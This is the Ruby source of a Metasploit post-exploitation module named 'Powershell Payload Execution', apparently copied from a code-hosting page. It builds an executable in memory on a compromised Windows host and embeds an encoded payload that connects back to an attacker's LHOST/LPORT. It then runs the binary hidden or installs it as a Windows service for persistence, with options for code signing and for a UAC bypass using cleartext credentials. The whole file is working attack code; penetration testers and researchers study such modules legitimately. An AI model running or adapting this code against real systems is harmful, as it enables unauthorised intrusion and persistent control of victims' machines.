/
ps_persist.rb
192 lines (170 loc) · 6.85 KB
/
ps_persist.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Services
include Msf::Post::Windows::Powershell
include Msf::Post::Windows::Powershell::DotNet
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => "Powershell Payload Execution",
'Description' => %q{
This module generates a dynamic executable on the session host using .NET templates.
Code is pulled from C# templates and impregnated with a payload before being
sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
the executable (standard or Windows service) in memory and produces a binary
which can be started/installed and downloaded for later use. After compilation the
PoweShell session can also sign the executable if provided a path the a .pfx formatted
certificate.
},
'License' => MSF_LICENSE,
'Author' => [
'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
'Matt "hostess" Andreko' # .NET harness, and requested modifications
],
'Payload' => {
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX',
},
},
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Universal', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate' => '2012-08-14',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_file
stdapi_fs_stat
stdapi_sys_config_getenv
stdapi_sys_config_getsid
stdapi_sys_process_execute
]
}
}
)
)
register_options(
[
OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),
]
)
register_advanced_options(
[
OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
OptString.new('USERNAME', [false, 'Windows username']),
OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),
]
)
end
def exploit
# Make sure we meet the requirements before running the script
if !(session.type == "meterpreter" || have_powershell?)
print_error("Incompatible Environment")
return
end
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
if client.sys.config.is_system?
print_error("Cannot run as system")
return
end
# End of file marker
eof = Rex::Text.rand_text_alpha(8)
env_suffix = Rex::Text.rand_text_alpha(8)
com_opts = {}
com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
com_opts[:target] = datastore['OUTPUT_TARGET'] || session.sys.config.getenv('TEMP') + "\\#{Rex::Text.rand_text_alpha(rand(8) + 8)}.exe"
com_opts[:payload] = payload_script # payload.encoded
vprint_good com_opts[:payload].length.to_s
if datastore['SVC_GEN']
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
else
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_exe.cs')
end
com_opts[:cert] = datastore['CERT_PATH']
if datastore['SVC_REMOVE']
remove_dyn_service(com_opts[:target])
return
end
vprint_good("Writing to #{com_opts[:target]}")
com_script = dot_net_compiler(com_opts)
ps_out = psh_exec(com_script)
if datastore['Powershell::Post::dry_run']
print_good com_script
print_error ps_out
return
end
# Check for result
begin
size = session.fs.file.stat(com_opts[:target].gsub('\\', '\\\\')).size
vprint_good("File #{com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb")
rescue
print_error("File #{com_opts[:target].gsub('\\', '\\\\')} not found")
return
end
# Run the harness
if datastore['START_APP']
if datastore['SVC_GEN']
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\', '\\\\'), startup = 2, server = nil)
if service_start(datastore['SVC_NAME']).to_i == 0
vprint_good("Service Started")
end
else
session.sys.process.execute(com_opts[:target].gsub('\\', '\\\\'), nil, { 'Hidden' => true, 'Channelized' => true })
end
end
print_good('Finished!')
end
# This should be handled by the exploit mixin, right?
def payload_script
pay_mod = framework.payloads.create(datastore['PAYLOAD'])
payload = pay_mod.generate_simple(
"BadChars" => '',
"Format" => 'raw',
"Encoder" => 'x86/alpha_mixed',
"ForceEncode" => true,
"Options" =>
{
'LHOST' => datastore['LHOST'],
'LPORT' => datastore['LPORT'],
'EXITFUNC' => 'thread',
'BufferRegister' => 'EAX'
},
)
# To ensure compatibility out payload should be US-ASCII
return payload.encode('ASCII')
end
# Local service functionality should probably be replaced with upstream Post
def remove_dyn_service(file_path)
service_stop(datastore['SVC_NAME'])
if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\', '\\\\')}")
session.fs.file.rm(file_path.gsub('\\', '\\\\'))
else
print_error("Something went wrong, not deleting #{file_path.gsub('\\', '\\\\')}")
end
return
end
def install_dyn_service(file_path)
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\', '\\\\'), startup = 2, server = nil)
if service_start(datastore['SVC_NAME']).to_i == 0
vprint_good("Service Binary #{file_path} Started")
end
end
end